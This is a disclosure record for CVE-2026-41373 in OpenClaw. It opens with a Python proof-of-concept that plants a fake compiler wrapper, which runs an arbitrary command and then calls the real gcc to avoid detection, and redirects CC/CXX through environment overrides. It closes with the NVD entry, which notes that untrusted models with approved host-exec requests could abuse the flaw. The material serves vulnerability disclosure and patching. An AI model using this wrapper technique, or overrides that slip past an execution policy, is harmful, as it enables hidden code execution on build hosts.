CVE-2026-41373

import os import subprocess # PoC for CVE-2026-41373: Compiler Binary Substitution # This script simulates an attacker overriding compiler environment variables # to execute arbitrary code during a build process. # 1. Create a malicious payload acting as a compiler malicious_compiler = "/tmp/malicious_gcc" with open(malicious_compiler, "w") as f: f.write("#!/bin/bash\n") f.write("# Execute arbitrary command (e.g., creating a file)\n") f.write("touch /tmp/pwned_by_openclaw\n") f.write("# Execute the real compiler to avoid build failure detection\n") f.write("/usr/bin/gcc \"$@\"\n") os.chmod(malicious_compiler, 0o755) # 2. Prepare the environment with overrides # Exploiting the incomplete host-env-security-policy.json env_vars = { "CC": malicious_compiler, "CXX": malicious_compiler, "CMAKE_C_COMPILER": malicious_compiler } # Update current environment env = os.environ.copy() env.update(env_vars) print("[+] Triggering build with overridden compiler variables...") # 3. Simulate the build process (e.g., running make or cargo) # In the real scenario, this is triggered by the 'host-exec' feature try: # Using a dummy compile command for demonstration subprocess.run(["gcc", "--version"], env=env, check=True) # Check if the arbitrary code was executed if os.path.exists("/tmp/pwned_by_openclaw"): print("[+] Exploit successful! Arbitrary code executed.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-41373", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:39.993", "lastModified": "2026-05-01T15:46:57.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains an incomplete host-env-security-policy.json that fails to restrict compiler binary environment variables, allowing untrusted models to substitute CC, CXX, CARGO_BUILD_RUSTC, and CMAKE_C_COMPILER via environment overrides. Attackers with approved host-exec requests can override compiler binaries to execute arbitrary code during build processes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/e277a37f896b5011a1df06e6490c6630074d0afa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g8xp-qx39-9jq9", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-compiler-binary-substitution-via-environment-variable-override-in-host-execution-policy", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}